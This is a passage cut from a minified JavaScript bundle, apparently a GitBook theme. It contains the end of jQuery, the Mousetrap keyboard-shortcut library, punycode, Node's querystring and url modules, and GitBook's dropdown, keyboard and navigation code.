t.data&&0===(t.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&Ut.test(t.data)&&\"data\");if(s||\"jsonp\"===t.dataTypes[0])return o=t.jsonpCallback=de.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Ut,\"$1\"+o):t.jsonp!==!1&&(t.url+=(jt.test(t.url)?\"&\":\"?\")+t.jsonp+\"=\"+o),t.converters[\"script json\"]=function(){return a||de.error(o+\" was not called\"),a[0]},t.dataTypes[0]=\"json\",i=e[o],e[o]=function(){a=arguments},r.always(function(){void 0===i?de(e).removeProp(o):e[o]=i,t[o]&&(t.jsonpCallback=n.jsonpCallback,Bt.push(o)),a&&de.isFunction(i)&&i(a[0]),a=i=void 0}),\"script\"}),pe.createHTMLDocument=function(){var e=te.implementation.createHTMLDocument(\"\").body;return e.innerHTML=\"<form></form><form></form>\",2===e.childNodes.length}(),de.parseHTML=function(e,t,n){if(\"string\"!=typeof e)return[];\"boolean\"==typeof t&&(n=t,t=!1);var r,o,i;return t||(pe.createHTMLDocument?(t=te.implementation.createHTMLDocument(\"\"),r=t.createElement(\"base\"),r.href=te.location.href,t.head.appendChild(r)):t=te),o=Te.exec(e),i=!n&&[],o?[t.createElement(o[1])]:(o=b([e],t,i),i&&i.length&&de(i).remove(),de.merge([],o.childNodes))},de.fn.load=function(e,t,n){var r,o,i,a=this,s=e.indexOf(\" \");return s>-1&&(r=z(e.slice(s)),e=e.slice(0,s)),de.isFunction(t)?(n=t,t=void 0):t&&\"object\"==typeof t&&(o=\"POST\"),a.length>0&&de.ajax({url:e,type:o||\"GET\",dataType:\"html\",data:t}).done(function(e){i=arguments,a.html(r?de(\"<div>\").append(de.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,i||[e.responseText,t,e])})}),this},de.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(e,t){de.fn[t]=function(e){return this.on(t,e)}}),de.expr.pseudos.animated=function(e){return de.grep(de.timers,function(t){return e===t.elem}).length},de.offset={setOffset:function(e,t,n){var r,o,i,a,s,u,l,c=de.css(e,\"position\"),f=de(e),p={};\"static\"===c&&(e.style.position=\"relative\"),s=f.offset(),i=de.css(e,\"top\"),u=de.css(e,\"left\"),l=(\"absolute\"===c||\"fixed\"===c)&&(i+u).indexOf(\"auto\")>-1,l?(r=f.position(),a=r.top,o=r.left):(a=parseFloat(i)||0,o=parseFloat(u)||0),de.isFunction(t)&&(t=t.call(e,n,de.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+o),\"using\"in t?t.using.call(e,p):f.css(p)}},de.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){de.offset.setOffset(this,e,t)});var t,n,r,o,i=this[0];if(i)return i.getClientRects().length?(r=i.getBoundingClientRect(),r.width||r.height?(o=i.ownerDocument,n=Z(o),t=o.documentElement,{top:r.top+n.pageYOffset-t.clientTop,left:r.left+n.pageXOffset-t.clientLeft}):r):{top:0,left:0}},position:function(){if(this[0]){var e,t,n=this[0],r={top:0,left:0};return\"fixed\"===de.css(n,\"position\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),de.nodeName(e[0],\"html\")||(r=e.offset()),r={top:r.top+de.css(e[0],\"borderTopWidth\",!0),left:r.left+de.css(e[0],\"borderLeftWidth\",!0)}),{top:t.top-r.top-de.css(n,\"marginTop\",!0),left:t.left-r.left-de.css(n,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent;e&&\"static\"===de.css(e,\"position\");)e=e.offsetParent;return e||Ye})}}),de.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(e,t){var n=\"pageYOffset\"===t;de.fn[e]=function(r){return Le(this,function(e,r,o){var i=Z(e);return void 0===o?i?i[t]:e[r]:void(i?i.scrollTo(n?i.pageXOffset:o,n?o:i.pageYOffset):e[r]=o)},e,r,arguments.length)}}),de.each([\"top\",\"left\"],function(e,t){de.cssHooks[t]=O(pe.pixelPosition,function(e,n){if(n)return n=D(e,t),at.test(n)?de(e).position()[t]+\"px\":n})}),de.each({Height:\"height\",Width:\"width\"},function(e,t){de.each({padding:\"inner\"+e,content:t,\"\":\"outer\"+e},function(n,r){de.fn[r]=function(o,i){var a=arguments.length&&(n||\"boolean\"!=typeof o),s=n||(o===!0||i===!0?\"margin\":\"border\");return Le(this,function(t,n,o){var i;return de.isWindow(t)?0===r.indexOf(\"outer\")?t[\"inner\"+e]:t.document.documentElement[\"client\"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body[\"scroll\"+e],i[\"scroll\"+e],t.body[\"offset\"+e],i[\"offset\"+e],i[\"client\"+e])):void 0===o?de.css(t,n,s):de.style(t,n,o,s)},t,a?o:void 0,a)}})}),de.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),de.parseJSON=JSON.parse,\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return de});var zt=e.jQuery,Xt=e.$;return de.noConflict=function(t){return e.$===de&&(e.$=Xt),t&&e.jQuery===de&&(e.jQuery=zt),de},t||(e.jQuery=e.$=de),de})},{}],2:[function(e,t,n){!function(e,n,r){function o(e,t,n){return e.addEventListener?void e.addEventListener(t,n,!1):void e.attachEvent(\"on\"+t,n)}function i(e){if(\"keypress\"==e.type){var t=String.fromCharCode(e.which);return e.shiftKey||(t=t.toLowerCase()),t}return y[e.which]?y[e.which]:b[e.which]?b[e.which]:String.fromCharCode(e.which).toLowerCase()}function a(e,t){return e.sort().join(\",\")===t.sort().join(\",\")}function s(e){var t=[];return e.shiftKey&&t.push(\"shift\"),e.altKey&&t.push(\"alt\"),e.ctrlKey&&t.push(\"ctrl\"),e.metaKey&&t.push(\"meta\"),t}function u(e){return e.preventDefault?void e.preventDefault():void(e.returnValue=!1)}function l(e){return e.stopPropagation?void e.stopPropagation():void(e.cancelBubble=!0)}function c(e){return\"shift\"==e||\"ctrl\"==e||\"alt\"==e||\"meta\"==e}function f(){if(!v){v={};for(var e in y)e>95&&e<112||y.hasOwnProperty(e)&&(v[y[e]]=e)}return v}function p(e,t,n){return n||(n=f()[e]?\"keydown\":\"keypress\"),\"keypress\"==n&&t.length&&(n=\"keydown\"),n}function h(e){return\"+\"===e?[\"+\"]:(e=e.replace(/\\+{2}/g,\"+plus\"),e.split(\"+\"))}function d(e,t){var n,r,o,i=[];for(n=h(e),o=0;o<n.length;++o)r=n[o],w[r]&&(r=w[r]),t&&\"keypress\"!=t&&x[r]&&(r=x[r],i.push(\"shift\")),c(r)&&i.push(r);return t=p(r,i,t),{key:r,modifiers:i,action:t}}function g(e,t){return null!==e&&e!==n&&(e===t||g(e.parentNode,t))}function m(e){function t(e){e=e||{};var t,n=!1;for(t in x)e[t]?n=!0:x[t]=0;n||(T=!1)}function r(e,t,n,r,o,i){var s,u,l=[],f=n.type;if(!y._callbacks[e])return[];for(\"keyup\"==f&&c(e)&&(t=[e]),s=0;s<y._callbacks[e].length;++s)if(u=y._callbacks[e][s],(r||!u.seq||x[u.seq]==u.level)&&f==u.action&&(\"keypress\"==f&&!n.metaKey&&!n.ctrlKey||a(t,u.modifiers))){var p=!r&&u.combo==o,h=r&&u.seq==r&&u.level==i;(p||h)&&y._callbacks[e].splice(s,1),l.push(u)}return l}function f(e,t,n,r){y.stopCallback(t,t.target||t.srcElement,n,r)||e(t,n)===!1&&(u(t),l(t))}function p(e){\"number\"!=typeof e.which&&(e.which=e.keyCode);var t=i(e);if(t)return\"keyup\"==e.type&&w===t?void(w=!1):void y.handleKey(t,s(e),e)}function h(){clearTimeout(b),b=setTimeout(t,1e3)}function g(e,n,r,o){function a(t){return function(){T=t,++x[e],h()}}function s(n){f(r,n,e),\"keyup\"!==o&&(w=i(n)),setTimeout(t,10)}x[e]=0;for(var u=0;u<n.length;++u){var l=u+1===n.length,c=l?s:a(o||d(n[u+1]).action);v(n[u],c,o,e,u)}}function v(e,t,n,o,i){y._directMap[e+\":\"+n]=t,e=e.replace(/\\s+/g,\" \");var a,s=e.split(\" \");return s.length>1?void g(e,s,t,n):(a=d(e,n),y._callbacks[a.key]=y._callbacks[a.key]||[],r(a.key,a.modifiers,{type:a.action},o,e,i),void y._callbacks[a.key][o?\"unshift\":\"push\"]({callback:t,modifiers:a.modifiers,action:a.action,seq:o,level:i,combo:e}))}var y=this;if(e=e||n,!(y instanceof m))return new m(e);y.target=e,y._callbacks={},y._directMap={};var b,x={},w=!1,C=!1,T=!1;y._handleKey=function(e,n,o){var i,a=r(e,n,o),s={},u=0,l=!1;for(i=0;i<a.length;++i)a[i].seq&&(u=Math.max(u,a[i].level));for(i=0;i<a.length;++i)if(a[i].seq){if(a[i].level!=u)continue;l=!0,s[a[i].seq]=1,f(a[i].callback,o,a[i].combo,a[i].seq)}else l||f(a[i].callback,o,a[i].combo);var p=\"keypress\"==o.type&&C;o.type!=T||c(e)||p||t(s),C=l&&\"keydown\"==o.type},y._bindMultiple=function(e,t,n){for(var r=0;r<e.length;++r)v(e[r],t,n)},o(e,\"keypress\",p),o(e,\"keydown\",p),o(e,\"keyup\",p)}if(e){for(var v,y={8:\"backspace\",9:\"tab\",13:\"enter\",16:\"shift\",17:\"ctrl\",18:\"alt\",20:\"capslock\",27:\"esc\",32:\"space\",33:\"pageup\",34:\"pagedown\",35:\"end\",36:\"home\",37:\"left\",38:\"up\",39:\"right\",40:\"down\",45:\"ins\",46:\"del\",91:\"meta\",93:\"meta\",224:\"meta\"},b={106:\"*\",107:\"+\",109:\"-\",110:\".\",111:\"/\",186:\";\",187:\"=\",188:\",\",189:\"-\",190:\".\",191:\"/\",192:\"`\",219:\"[\",220:\"\\\\\",221:\"]\",222:\"'\"},x={\"~\":\"`\",\"!\":\"1\",\"@\":\"2\",\"#\":\"3\",$:\"4\",\"%\":\"5\",\"^\":\"6\",\"&\":\"7\",\"*\":\"8\",\"(\":\"9\",\")\":\"0\",_:\"-\",\"+\":\"=\",\":\":\";\",'\"':\"'\",\"<\":\",\",\">\":\".\",\"?\":\"/\",\"|\":\"\\\\\"},w={option:\"alt\",command:\"meta\",return:\"enter\",escape:\"esc\",plus:\"+\",mod:/Mac|iPod|iPhone|iPad/.test(navigator.platform)?\"meta\":\"ctrl\"},C=1;C<20;++C)y[111+C]=\"f\"+C;for(C=0;C<=9;++C)y[C+96]=C;m.prototype.bind=function(e,t,n){var r=this;return e=e instanceof Array?e:[e],r._bindMultiple.call(r,e,t,n),r},m.prototype.unbind=function(e,t){var n=this;return n.bind.call(n,e,function(){},t)},m.prototype.trigger=function(e,t){var n=this;return n._directMap[e+\":\"+t]&&n._directMap[e+\":\"+t]({},e),n},m.prototype.reset=function(){var e=this;return e._callbacks={},e._directMap={},e},m.prototype.stopCallback=function(e,t){var n=this;return!((\" \"+t.className+\" \").indexOf(\" mousetrap \")>-1)&&(!g(t,n.target)&&(\"INPUT\"==t.tagName||\"SELECT\"==t.tagName||\"TEXTAREA\"==t.tagName||t.isContentEditable))},m.prototype.handleKey=function(){var e=this;return e._handleKey.apply(e,arguments)},m.addKeycodes=function(e){for(var t in e)e.hasOwnProperty(t)&&(y[t]=e[t]);v=null},m.init=function(){var e=m(n);for(var t in e)\"_\"!==t.charAt(0)&&(m[t]=function(t){return function(){return e[t].apply(e,arguments)}}(t))},m.init(),e.Mousetrap=m,\"undefined\"!=typeof t&&t.exports&&(t.exports=m),\"function\"==typeof define&&define.amd&&define(function(){return m})}}(\"undefined\"!=typeof window?window:null,\"undefined\"!=typeof window?document:null)},{}],3:[function(e,t,n){(function(e){!function(r){function o(e){throw new RangeError(L[e])}function i(e,t){for(var n=e.length,r=[];n--;)r[n]=t(e[n]);return r}function a(e,t){var n=e.split(\"@\"),r=\"\";n.length>1&&(r=n[0]+\"@\",e=n[1]),e=e.replace(O,\".\");var o=e.split(\".\"),a=i(o,t).join(\".\");return r+a}function s(e){for(var t,n,r=[],o=0,i=e.length;o<i;)t=e.charCodeAt(o++),t>=55296&&t<=56319&&o<i?(n=e.charCodeAt(o++),56320==(64512&n)?r.push(((1023&t)<<10)+(1023&n)+65536):(r.push(t),o--)):r.push(t);return r}function u(e){return i(e,function(e){var t=\"\";return e>65535&&(e-=65536,t+=P(e>>>10&1023|55296),e=56320|1023&e),t+=P(e)}).join(\"\")}function l(e){return e-48<10?e-22:e-65<26?e-65:e-97<26?e-97:C}function c(e,t){return e+22+75*(e<26)-((0!=t)<<5)}function f(e,t,n){var r=0;for(e=n?F(e/E):e>>1,e+=F(e/t);e>H*k>>1;r+=C)e=F(e/H);return F(r+(H+1)*e/(e+j))}function p(e){var t,n,r,i,a,s,c,p,h,d,g=[],m=e.length,v=0,y=S,b=N;for(n=e.lastIndexOf(A),n<0&&(n=0),r=0;r<n;++r)e.charCodeAt(r)>=128&&o(\"not-basic\"),g.push(e.charCodeAt(r));for(i=n>0?n+1:0;i<m;){for(a=v,s=1,c=C;i>=m&&o(\"invalid-input\"),p=l(e.charCodeAt(i++)),(p>=C||p>F((w-v)/s))&&o(\"overflow\"),v+=p*s,h=c<=b?T:c>=b+k?k:c-b,!(p<h);c+=C)d=C-h,s>F(w/d)&&o(\"overflow\"),s*=d;t=g.length+1,b=f(v-a,t,0==a),F(v/t)>w-y&&o(\"overflow\"),y+=F(v/t),v%=t,g.splice(v++,0,y)}return u(g)}function h(e){var t,n,r,i,a,u,l,p,h,d,g,m,v,y,b,x=[];for(e=s(e),m=e.length,t=S,n=0,a=N,u=0;u<m;++u)g=e[u],g<128&&x.push(P(g));for(r=i=x.length,i&&x.push(A);r<m;){for(l=w,u=0;u<m;++u)g=e[u],g>=t&&g<l&&(l=g);for(v=r+1,l-t>F((w-n)/v)&&o(\"overflow\"),n+=(l-t)*v,t=l,u=0;u<m;++u)if(g=e[u],g<t&&++n>w&&o(\"overflow\"),g==t){for(p=n,h=C;d=h<=a?T:h>=a+k?k:h-a,!(p<d);h+=C)b=p-d,y=C-d,x.push(P(c(d+b%y,0))),p=F(b/y);x.push(P(c(p,0))),a=f(n,v,r==i),n=0,++r}++n,++t}return x.join(\"\")}function d(e){return a(e,function(e){return q.test(e)?p(e.slice(4).toLowerCase()):e})}function g(e){return a(e,function(e){return D.test(e)?\"xn--\"+h(e):e})}var m=\"object\"==typeof n&&n&&!n.nodeType&&n,v=\"object\"==typeof t&&t&&!t.nodeType&&t,y=\"object\"==typeof e&&e;y.global!==y&&y.window!==y&&y.self!==y||(r=y);var b,x,w=2147483647,C=36,T=1,k=26,j=38,E=700,N=72,S=128,A=\"-\",q=/^xn--/,D=/[^\\x20-\\x7E]/,O=/[\\x2E\\u3002\\uFF0E\\uFF61]/g,L={overflow:\"Overflow: input needs wider integers to process\",\"not-basic\":\"Illegal input >= 0x80 (not a basic code point)\",\"invalid-input\":\"Invalid input\"},H=C-T,F=Math.floor,P=String.fromCharCode;if(b={version:\"1.4.1\",ucs2:{decode:s,encode:u},decode:p,encode:h,toASCII:g,toUnicode:d},\"function\"==typeof define&&\"object\"==typeof define.amd&&define.amd)define(\"punycode\",function(){return b});else if(m&&v)if(t.exports==m)v.exports=b;else for(x in b)b.hasOwnProperty(x)&&(m[x]=b[x]);else r.punycode=b}(this)}).call(this,\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:\"undefined\"!=typeof window?window:{})},{}],4:[function(e,t,n){\"use strict\";function r(e,t){return Object.prototype.hasOwnProperty.call(e,t)}t.exports=function(e,t,n,i){t=t||\"&\",n=n||\"=\";var a={};if(\"string\"!=typeof e||0===e.length)return a;var s=/\\+/g;e=e.split(t);var u=1e3;i&&\"number\"==typeof i.maxKeys&&(u=i.maxKeys);var l=e.length;u>0&&l>u&&(l=u);for(var c=0;c<l;++c){var f,p,h,d,g=e[c].replace(s,\"%20\"),m=g.indexOf(n);m>=0?(f=g.substr(0,m),p=g.substr(m+1)):(f=g,p=\"\"),h=decodeURIComponent(f),d=decodeURIComponent(p),\nr(a,h)?o(a[h])?a[h].push(d):a[h]=[a[h],d]:a[h]=d}return a};var o=Array.isArray||function(e){return\"[object Array]\"===Object.prototype.toString.call(e)}},{}],5:[function(e,t,n){\"use strict\";function r(e,t){if(e.map)return e.map(t);for(var n=[],r=0;r<e.length;r++)n.push(t(e[r],r));return n}var o=function(e){switch(typeof e){case\"string\":return e;case\"boolean\":return e?\"true\":\"false\";case\"number\":return isFinite(e)?e:\"\";default:return\"\"}};t.exports=function(e,t,n,s){return t=t||\"&\",n=n||\"=\",null===e&&(e=void 0),\"object\"==typeof e?r(a(e),function(a){var s=encodeURIComponent(o(a))+n;return i(e[a])?r(e[a],function(e){return s+encodeURIComponent(o(e))}).join(t):s+encodeURIComponent(o(e[a]))}).join(t):s?encodeURIComponent(o(s))+n+encodeURIComponent(o(e)):\"\"};var i=Array.isArray||function(e){return\"[object Array]\"===Object.prototype.toString.call(e)},a=Object.keys||function(e){var t=[];for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t.push(n);return t}},{}],6:[function(e,t,n){\"use strict\";n.decode=n.parse=e(\"./decode\"),n.encode=n.stringify=e(\"./encode\")},{\"./decode\":4,\"./encode\":5}],7:[function(e,t,n){\"use strict\";function r(){this.protocol=null,this.slashes=null,this.auth=null,this.host=null,this.port=null,this.hostname=null,this.hash=null,this.search=null,this.query=null,this.pathname=null,this.path=null,this.href=null}function o(e,t,n){if(e&&l.isObject(e)&&e instanceof r)return e;var o=new r;return o.parse(e,t,n),o}function i(e){return l.isString(e)&&(e=o(e)),e instanceof r?e.format():r.prototype.format.call(e)}function a(e,t){return o(e,!1,!0).resolve(t)}function s(e,t){return e?o(e,!1,!0).resolveObject(t):t}var u=e(\"punycode\"),l=e(\"./util\");n.parse=o,n.resolve=a,n.resolveObject=s,n.format=i,n.Url=r;var c=/^([a-z0-9.+-]+:)/i,f=/:[0-9]*$/,p=/^(\\/\\/?(?!\\/)[^\\?\\s]*)(\\?[^\\s]*)?$/,h=[\"<\",\">\",'\"',\"`\",\" \",\"\\r\",\"\\n\",\"\\t\"],d=[\"{\",\"}\",\"|\",\"\\\\\",\"^\",\"`\"].concat(h),g=[\"'\"].concat(d),m=[\"%\",\"/\",\"?\",\";\",\"#\"].concat(g),v=[\"/\",\"?\",\"#\"],y=255,b=/^[+a-z0-9A-Z_-]{0,63}$/,x=/^([+a-z0-9A-Z_-]{0,63})(.*)$/,w={javascript:!0,\"javascript:\":!0},C={javascript:!0,\"javascript:\":!0},T={http:!0,https:!0,ftp:!0,gopher:!0,file:!0,\"http:\":!0,\"https:\":!0,\"ftp:\":!0,\"gopher:\":!0,\"file:\":!0},k=e(\"querystring\");r.prototype.parse=function(e,t,n){if(!l.isString(e))throw new TypeError(\"Parameter 'url' must be a string, not \"+typeof e);var r=e.indexOf(\"?\"),o=r!==-1&&r<e.indexOf(\"#\")?\"?\":\"#\",i=e.split(o),a=/\\\\/g;i[0]=i[0].replace(a,\"/\"),e=i.join(o);var s=e;if(s=s.trim(),!n&&1===e.split(\"#\").length){var f=p.exec(s);if(f)return this.path=s,this.href=s,this.pathname=f[1],f[2]?(this.search=f[2],t?this.query=k.parse(this.search.substr(1)):this.query=this.search.substr(1)):t&&(this.search=\"\",this.query={}),this}var h=c.exec(s);if(h){h=h[0];var d=h.toLowerCase();this.protocol=d,s=s.substr(h.length)}if(n||h||s.match(/^\\/\\/[^@\\/]+@[^@\\/]+/)){var j=\"//\"===s.substr(0,2);!j||h&&C[h]||(s=s.substr(2),this.slashes=!0)}if(!C[h]&&(j||h&&!T[h])){for(var E=-1,N=0;N<v.length;N++){var S=s.indexOf(v[N]);S!==-1&&(E===-1||S<E)&&(E=S)}var A,q;q=E===-1?s.lastIndexOf(\"@\"):s.lastIndexOf(\"@\",E),q!==-1&&(A=s.slice(0,q),s=s.slice(q+1),this.auth=decodeURIComponent(A)),E=-1;for(var N=0;N<m.length;N++){var S=s.indexOf(m[N]);S!==-1&&(E===-1||S<E)&&(E=S)}E===-1&&(E=s.length),this.host=s.slice(0,E),s=s.slice(E),this.parseHost(),this.hostname=this.hostname||\"\";var D=\"[\"===this.hostname[0]&&\"]\"===this.hostname[this.hostname.length-1];if(!D)for(var O=this.hostname.split(/\\./),N=0,L=O.length;N<L;N++){var H=O[N];if(H&&!H.match(b)){for(var F=\"\",P=0,I=H.length;P<I;P++)F+=H.charCodeAt(P)>127?\"x\":H[P];if(!F.match(b)){var R=O.slice(0,N),M=O.slice(N+1),$=H.match(x);$&&(R.push($[1]),M.unshift($[2])),M.length&&(s=\"/\"+M.join(\".\")+s),this.hostname=R.join(\".\");break}}}this.hostname.length>y?this.hostname=\"\":this.hostname=this.hostname.toLowerCase(),D||(this.hostname=u.toASCII(this.hostname));var _=this.port?\":\"+this.port:\"\",W=this.hostname||\"\";this.host=W+_,this.href+=this.host,D&&(this.hostname=this.hostname.substr(1,this.hostname.length-2),\"/\"!==s[0]&&(s=\"/\"+s))}if(!w[d])for(var N=0,L=g.length;N<L;N++){var B=g[N];if(s.indexOf(B)!==-1){var U=encodeURIComponent(B);U===B&&(U=escape(B)),s=s.split(B).join(U)}}var z=s.indexOf(\"#\");z!==-1&&(this.hash=s.substr(z),s=s.slice(0,z));var X=s.indexOf(\"?\");if(X!==-1?(this.search=s.substr(X),this.query=s.substr(X+1),t&&(this.query=k.parse(this.query)),s=s.slice(0,X)):t&&(this.search=\"\",this.query={}),s&&(this.pathname=s),T[d]&&this.hostname&&!this.pathname&&(this.pathname=\"/\"),this.pathname||this.search){var _=this.pathname||\"\",K=this.search||\"\";this.path=_+K}return this.href=this.format(),this},r.prototype.format=function(){var e=this.auth||\"\";e&&(e=encodeURIComponent(e),e=e.replace(/%3A/i,\":\"),e+=\"@\");var t=this.protocol||\"\",n=this.pathname||\"\",r=this.hash||\"\",o=!1,i=\"\";this.host?o=e+this.host:this.hostname&&(o=e+(this.hostname.indexOf(\":\")===-1?this.hostname:\"[\"+this.hostname+\"]\"),this.port&&(o+=\":\"+this.port)),this.query&&l.isObject(this.query)&&Object.keys(this.query).length&&(i=k.stringify(this.query));var a=this.search||i&&\"?\"+i||\"\";return t&&\":\"!==t.substr(-1)&&(t+=\":\"),this.slashes||(!t||T[t])&&o!==!1?(o=\"//\"+(o||\"\"),n&&\"/\"!==n.charAt(0)&&(n=\"/\"+n)):o||(o=\"\"),r&&\"#\"!==r.charAt(0)&&(r=\"#\"+r),a&&\"?\"!==a.charAt(0)&&(a=\"?\"+a),n=n.replace(/[?#]/g,function(e){return encodeURIComponent(e)}),a=a.replace(\"#\",\"%23\"),t+o+n+a+r},r.prototype.resolve=function(e){return this.resolveObject(o(e,!1,!0)).format()},r.prototype.resolveObject=function(e){if(l.isString(e)){var t=new r;t.parse(e,!1,!0),e=t}for(var n=new r,o=Object.keys(this),i=0;i<o.length;i++){var a=o[i];n[a]=this[a]}if(n.hash=e.hash,\"\"===e.href)return n.href=n.format(),n;if(e.slashes&&!e.protocol){for(var s=Object.keys(e),u=0;u<s.length;u++){var c=s[u];\"protocol\"!==c&&(n[c]=e[c])}return T[n.protocol]&&n.hostname&&!n.pathname&&(n.path=n.pathname=\"/\"),n.href=n.format(),n}if(e.protocol&&e.protocol!==n.protocol){if(!T[e.protocol]){for(var f=Object.keys(e),p=0;p<f.length;p++){var h=f[p];n[h]=e[h]}return n.href=n.format(),n}if(n.protocol=e.protocol,e.host||C[e.protocol])n.pathname=e.pathname;else{for(var d=(e.pathname||\"\").split(\"/\");d.length&&!(e.host=d.shift()););e.host||(e.host=\"\"),e.hostname||(e.hostname=\"\"),\"\"!==d[0]&&d.unshift(\"\"),d.length<2&&d.unshift(\"\"),n.pathname=d.join(\"/\")}if(n.search=e.search,n.query=e.query,n.host=e.host||\"\",n.auth=e.auth,n.hostname=e.hostname||e.host,n.port=e.port,n.pathname||n.search){var g=n.pathname||\"\",m=n.search||\"\";n.path=g+m}return n.slashes=n.slashes||e.slashes,n.href=n.format(),n}var v=n.pathname&&\"/\"===n.pathname.charAt(0),y=e.host||e.pathname&&\"/\"===e.pathname.charAt(0),b=y||v||n.host&&e.pathname,x=b,w=n.pathname&&n.pathname.split(\"/\")||[],d=e.pathname&&e.pathname.split(\"/\")||[],k=n.protocol&&!T[n.protocol];if(k&&(n.hostname=\"\",n.port=null,n.host&&(\"\"===w[0]?w[0]=n.host:w.unshift(n.host)),n.host=\"\",e.protocol&&(e.hostname=null,e.port=null,e.host&&(\"\"===d[0]?d[0]=e.host:d.unshift(e.host)),e.host=null),b=b&&(\"\"===d[0]||\"\"===w[0])),y)n.host=e.host||\"\"===e.host?e.host:n.host,n.hostname=e.hostname||\"\"===e.hostname?e.hostname:n.hostname,n.search=e.search,n.query=e.query,w=d;else if(d.length)w||(w=[]),w.pop(),w=w.concat(d),n.search=e.search,n.query=e.query;else if(!l.isNullOrUndefined(e.search)){if(k){n.hostname=n.host=w.shift();var j=!!(n.host&&n.host.indexOf(\"@\")>0)&&n.host.split(\"@\");j&&(n.auth=j.shift(),n.host=n.hostname=j.shift())}return n.search=e.search,n.query=e.query,l.isNull(n.pathname)&&l.isNull(n.search)||(n.path=(n.pathname?n.pathname:\"\")+(n.search?n.search:\"\")),n.href=n.format(),n}if(!w.length)return n.pathname=null,n.search?n.path=\"/\"+n.search:n.path=null,n.href=n.format(),n;for(var E=w.slice(-1)[0],N=(n.host||e.host||w.length>1)&&(\".\"===E||\"..\"===E)||\"\"===E,S=0,A=w.length;A>=0;A--)E=w[A],\".\"===E?w.splice(A,1):\"..\"===E?(w.splice(A,1),S++):S&&(w.splice(A,1),S--);if(!b&&!x)for(;S--;S)w.unshift(\"..\");!b||\"\"===w[0]||w[0]&&\"/\"===w[0].charAt(0)||w.unshift(\"\"),N&&\"/\"!==w.join(\"/\").substr(-1)&&w.push(\"\");var q=\"\"===w[0]||w[0]&&\"/\"===w[0].charAt(0);if(k){n.hostname=n.host=q?\"\":w.length?w.shift():\"\";var j=!!(n.host&&n.host.indexOf(\"@\")>0)&&n.host.split(\"@\");j&&(n.auth=j.shift(),n.host=n.hostname=j.shift())}return b=b||n.host&&w.length,b&&!q&&w.unshift(\"\"),w.length?n.pathname=w.join(\"/\"):(n.pathname=null,n.path=null),l.isNull(n.pathname)&&l.isNull(n.search)||(n.path=(n.pathname?n.pathname:\"\")+(n.search?n.search:\"\")),n.auth=e.auth||n.auth,n.slashes=n.slashes||e.slashes,n.href=n.format(),n},r.prototype.parseHost=function(){var e=this.host,t=f.exec(e);t&&(t=t[0],\":\"!==t&&(this.port=t.substr(1)),e=e.substr(0,e.length-t.length)),e&&(this.hostname=e)}},{\"./util\":8,punycode:3,querystring:6}],8:[function(e,t,n){\"use strict\";t.exports={isString:function(e){return\"string\"==typeof e},isObject:function(e){return\"object\"==typeof e&&null!==e},isNull:function(e){return null===e},isNullOrUndefined:function(e){return null==e}}},{}],9:[function(e,t,n){function r(e){var t=a(e.currentTarget).parent().find(\".dropdown-menu\");t.toggleClass(\"open\"),e.stopPropagation(),e.preventDefault()}function o(e){a(\".dropdown-menu\").removeClass(\"open\")}function i(){a(document).on(\"click\",\".toggle-dropdown\",r),a(document).on(\"click\",\".dropdown-menu\",function(e){e.stopPropagation()}),a(document).on(\"click\",o)}var a=e(\"jquery\");t.exports={init:i}},{jquery:1}],10:[function(e,t,n){function r(){s.init(),i.init(),o.init(),a.init(),u.createButton({index:0,icon:\"fa fa-align-justify\",onClick:function(e){e.preventDefault(),s.toggle()}})}var o=e(\"./dropdown\"),i=e(\"./keyboard\"),a=e(\"./navigation\"),s=e(\"./sidebar\"),u=e(\"./toolbar\"),l=window.gitbook;l.events.on(\"start\",r),l.keyboard=i,l.navigation=a,l.sidebar=s,l.toolbar=u},{\"./dropdown\":9,\"./keyboard\":11,\"./navigation\":13,\"./sidebar\":15,\"./toolbar\":16}],11:[function(e,t,n){function r(e,t){i.bind(e,function(e){return t(),!1})}function o(){r([\"right\"],function(e){a.goNext()}),r([\"left\"],function(e){a.goPrev()}),r([\"s\"],function(e){s.toggle()})}var i=e(\"mousetrap\"),a=e(\"./navigation\"),s=e(\"./sidebar\");t.exports={init:o,bind:r}},{\"./navigation\":13,\"./sidebar\":15,mousetrap:2}],12:[function(e,t,n){function r(e){return o.state.$book.addClass(\"is-loading\"),e.always(function(){o.state.$book.removeClass(\"is-loading\")}),e}var o=window.gitbook;t.exports={show:r}},{}],13:[function(e,t,n){function r(){return T(E.isSmallScreen()?\".book-body\":\".body-inner\")}function o(e){var t=r(),n=0;i(e)&&(e&&(n=u(e)),t.unbind(\"scroll\"),t.animate({scrollTop:n},800,\"swing\",function(){t.scroll(f)}),l(null,e))}function i(e){var t=r(),n=t.find(e);return!!n.length}function a(e){return 0===e.length}function s(e,t){return e.length>0&&e.filter(t).length>0}function u(e){var t=r(),n=t.find(\".page-inner\"),o=t.find(e),i=o.offsetParent(),u=0;if(s([t,n,o,i],a))return 0;u=o.position().top;for(var l=10,c=0;c<l&&(!i.is(n)&&!i.is(i.offsetParent()));c++)o=i,u+=o.position().top,i=o.offsetParent();return Math.floor(u)}function l(e,t){if(e||t||(e=w.first()),t&&(e=w.length>1?w.filter(function(){var e=c(T(this));return e==t}).first():w.first()),!e.is(C)){C=e,w.removeClass(\"active\"),e.addClass(\"active\"),t=c(e);var n=window.location.pathname+window.location.hash,r=window.location.pathname+t;r!=n&&history.replaceState({path:r},null,r)}}function c(e){var 